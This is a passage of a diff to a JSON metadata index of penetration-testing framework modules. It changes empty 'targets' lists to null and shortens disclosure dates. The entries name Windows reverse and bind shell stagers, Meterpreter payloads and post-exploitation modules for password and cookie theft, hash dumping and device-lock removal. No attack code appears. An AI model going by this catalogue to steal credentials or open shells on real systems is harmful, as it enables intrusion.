"mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, @@ -96463,9 +93535,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, @@ -96492,9 +93562,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, @@ -96522,9 +93590,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, @@ -96550,9 +93616,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-27 19:24:51 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, @@ -96577,9 +93641,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, @@ -96606,9 +93668,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, @@ -96637,9 +93697,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, @@ -96666,9 +93724,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, @@ -96694,9 +93750,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, @@ -96723,9 +93777,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, @@ -96750,9 +93802,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, @@ -96778,9 +93828,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, @@ -96807,9 +93855,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, @@ -96836,9 +93882,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, @@ -96866,9 +93910,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, @@ -96897,9 +93939,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, @@ -96928,9 +93968,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, @@ -96957,9 +93995,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, @@ -96985,9 +94021,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-13 14:34:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_udp.rb", "is_install_path": true, @@ -97015,9 +94049,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, @@ -97045,9 +94077,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, @@ -97074,9 +94104,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, @@ -97104,9 +94132,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, @@ -97132,9 +94158,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-27 19:24:51 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, @@ -97160,9 +94184,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, @@ -97189,9 +94211,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, @@ -97220,9 +94240,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, @@ -97249,9 +94267,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, @@ -97277,9 +94293,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, @@ -97307,9 +94321,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_hop_http.rb", "is_install_path": true, @@ -97335,9 +94347,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, @@ -97363,9 +94373,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb", "is_install_path": true, @@ -97392,9 +94400,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, @@ -97420,9 +94426,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, @@ -97448,9 +94452,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, @@ -97477,9 +94479,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, @@ -97506,9 +94506,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, @@ -97536,9 +94534,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, @@ -97567,9 +94563,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, @@ -97598,9 +94592,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, @@ -97627,9 +94619,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, @@ -97655,9 +94645,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-13 14:34:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_udp.rb", "is_install_path": true, @@ -97684,9 +94672,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttp.rb", "is_install_path": true, @@ -97710,9 +94696,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/x64/exec.rb", "is_install_path": true, @@ -97737,9 +94721,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/x64/loadlibrary.rb", "is_install_path": true, @@ -97766,9 +94748,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb", "is_install_path": true, @@ -97795,9 +94775,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb", "is_install_path": true, @@ -97825,9 +94803,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 17:37:33 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_named_pipe.rb", "is_install_path": true, @@ -97854,9 +94830,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp.rb", "is_install_path": true, @@ -97883,9 +94857,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb", "is_install_path": true, @@ -97912,9 +94884,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-20 11:27:43 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_http.rb", "is_install_path": true, @@ -97944,9 +94914,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-20 11:27:43 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_https.rb", "is_install_path": true, @@ -97973,9 +94941,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-01 03:49:00 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb", "is_install_path": true, @@ -98002,9 +94968,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp.rb", "is_install_path": true, @@ -98035,9 +94999,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-04 17:43:15 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb", "is_install_path": true, @@ -98064,9 +95026,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb", "is_install_path": true, @@ -98093,9 +95053,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-20 11:27:43 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttp.rb", "is_install_path": true, @@ -98122,9 +95080,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-20 11:27:43 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttps.rb", "is_install_path": true, @@ -98151,9 +95107,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 17:37:33 +0000", "path": "/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb", "is_install_path": true, @@ -98179,9 +95133,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 17:37:33 +0000", "path": "/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb", "is_install_path": true, @@ -98207,9 +95159,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 17:37:33 +0000", "path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb", "is_install_path": true, @@ -98235,9 +95185,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 17:37:33 +0000", "path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb", "is_install_path": true, @@ -98263,9 +95211,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 17:37:33 +0000", "path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb", "is_install_path": true, @@ -98291,9 +95237,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 17:37:33 +0000", "path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -98319,9 +95263,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-26 15:03:10 +0000", "path": "/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb", "is_install_path": true, @@ -98347,9 +95289,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-26 15:03:10 +0000", "path": "/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb", "is_install_path": true, @@ -98373,9 +95313,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb", "is_install_path": true, @@ -98400,9 +95338,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb", "is_install_path": true, @@ -98427,9 +95363,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 17:37:33 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_named_pipe.rb", "is_install_path": true, @@ -98453,9 +95387,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp.rb", "is_install_path": true, @@ -98480,9 +95412,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb", "is_install_path": true, @@ -98506,9 +95436,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp.rb", "is_install_path": true, @@ -98537,9 +95465,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-04 17:43:15 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb", "is_install_path": true, @@ -98564,9 +95490,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb", "is_install_path": true, @@ -98590,9 +95514,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/x64/shell_bind_tcp.rb", "is_install_path": true, @@ -98616,9 +95538,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb", "is_install_path": true, @@ -98643,9 +95563,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb", "is_install_path": true, @@ -98671,9 +95589,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb", "is_install_path": true, @@ -98699,9 +95615,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 17:37:33 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_named_pipe.rb", "is_install_path": true, @@ -98726,9 +95640,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp.rb", "is_install_path": true, @@ -98754,9 +95666,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb", "is_install_path": true, @@ -98782,9 +95692,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-20 11:27:43 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_http.rb", "is_install_path": true, @@ -98812,9 +95720,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-20 11:27:43 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_https.rb", "is_install_path": true, @@ -98839,9 +95745,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp.rb", "is_install_path": true, @@ -98871,9 +95775,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-04 17:43:15 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb", "is_install_path": true, @@ -98899,9 +95801,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb", "is_install_path": true, @@ -98927,9 +95827,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-20 11:27:43 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttp.rb", "is_install_path": true, @@ -98955,9 +95853,7 @@ "platform": "Windows", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-20 11:27:43 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttps.rb", "is_install_path": true, @@ -98981,9 +95877,7 @@ "platform": "AIX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/aix/hashdump.rb", "is_install_path": true, @@ -99007,9 +95901,7 @@ "platform": "Android", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/android/capture/screen.rb", "is_install_path": true, @@ -99034,9 +95926,7 @@ "platform": "Android", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-06 17:37:12 +0000", "path": "/modules/post/android/gather/wireless_ap.rb", "is_install_path": true, @@ -99046,7 +95936,7 @@ "name": "Android Settings Remove Device Locks (4.0-4.3)", "full_name": "post/android/manage/remove_lock", "rank": 300, - "disclosure_date": "2013-10-11 00:00:00 -0500", + "disclosure_date": "2013-10-11", "type": "post", "author": [ "CureSec", @@ -99063,9 +95953,7 @@ "platform": "Android", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/android/manage/remove_lock.rb", "is_install_path": true, @@ -99089,9 +95977,7 @@ "platform": "Android", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/android/manage/remove_lock_root.rb", "is_install_path": true, @@ -99115,9 +96001,7 @@ "platform": "Cisco", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/cisco/gather/enum_cisco.rb", "is_install_path": true, @@ -99127,7 +96011,7 @@ "name": "Firefox Gather Cookies from Privileged Javascript Shell", "full_name": "post/firefox/gather/cookies", "rank": 300, - "disclosure_date": "2014-03-26 00:00:00 -0500", + "disclosure_date": "2014-03-26", "type": "post", "author": [ "joev " @@ -99141,9 +96025,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/firefox/gather/cookies.rb", "is_install_path": true, @@ -99153,7 +96035,7 @@ "name": "Firefox Gather History from Privileged Javascript Shell", "full_name": "post/firefox/gather/history", "rank": 300, - "disclosure_date": "2014-04-11 00:00:00 -0500", + "disclosure_date": "2014-04-11", "type": "post", "author": [ "joev " @@ -99167,9 +96049,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/firefox/gather/history.rb", "is_install_path": true, @@ -99179,7 +96059,7 @@ "name": "Firefox Gather Passwords from Privileged Javascript Shell", "full_name": "post/firefox/gather/passwords", "rank": 300, - "disclosure_date": "2014-04-11 00:00:00 -0500", + "disclosure_date": "2014-04-11", "type": "post", "author": [ "joev " @@ -99193,9 +96073,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/firefox/gather/passwords.rb", "is_install_path": true, @@ -99219,9 +96097,7 @@ "platform": "Firefox", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/firefox/gather/xss.rb", "is_install_path": true, @@ -99231,7 +96107,7 @@ "name": "Firefox Webcam Chat on Privileged Javascript Shell", "full_name": "post/firefox/manage/webcam_chat", "rank": 300, - "disclosure_date": "2014-05-13 00:00:00 -0500", + "disclosure_date": "2014-05-13", "type": "post", "author": [ "joev " @@ -99245,9 +96121,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/firefox/manage/webcam_chat.rb", "is_install_path": true, @@ -99271,9 +96145,7 @@ "platform": "Hardware", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/hardware/automotive/canprobe.rb", "is_install_path": true, @@ -99297,9 +96169,7 @@ "platform": "Hardware", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-11 18:20:57 +0000", "path": "/modules/post/hardware/automotive/getvinfo.rb", "is_install_path": true, @@ -99323,9 +96193,7 @@ "platform": "Hardware", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/hardware/automotive/identifymodules.rb", "is_install_path": true, @@ -99349,9 +96217,7 @@ "platform": "Hardware", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/hardware/automotive/malibu_overheat.rb", "is_install_path": true, @@ -99378,9 +96244,7 @@ "platform": "Hardware", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-17 18:15:49 +0000", "path": "/modules/post/hardware/automotive/pdt.rb", "is_install_path": true, @@ -99404,9 +96268,7 @@ "platform": "Hardware", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/hardware/rftransceiver/rfpwnon.rb", "is_install_path": true, @@ -99430,9 +96292,7 @@ "platform": "Hardware", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/hardware/rftransceiver/transmitter.rb", "is_install_path": true, @@ -99456,9 +96316,7 @@ "platform": "Hardware", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/hardware/zigbee/zstumbler.rb", "is_install_path": true, @@ -99482,9 +96340,7 @@ "platform": "Juniper", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-22 21:08:21 +0000", "path": "/modules/post/juniper/gather/enum_juniper.rb", "is_install_path": true, @@ -99508,9 +96364,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/busybox/enum_connections.rb", "is_install_path": true, @@ -99534,9 +96388,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/busybox/enum_hosts.rb", "is_install_path": true, @@ -99560,9 +96412,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/linux/busybox/jailbreak.rb", "is_install_path": true, @@ -99586,9 +96436,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/busybox/ping_net.rb", "is_install_path": true, @@ -99612,9 +96460,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/busybox/set_dmz.rb", "is_install_path": true, @@ -99638,9 +96484,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/busybox/set_dns.rb", "is_install_path": true, @@ -99664,9 +96508,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/busybox/smb_share_root.rb", "is_install_path": true, @@ -99690,9 +96532,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, 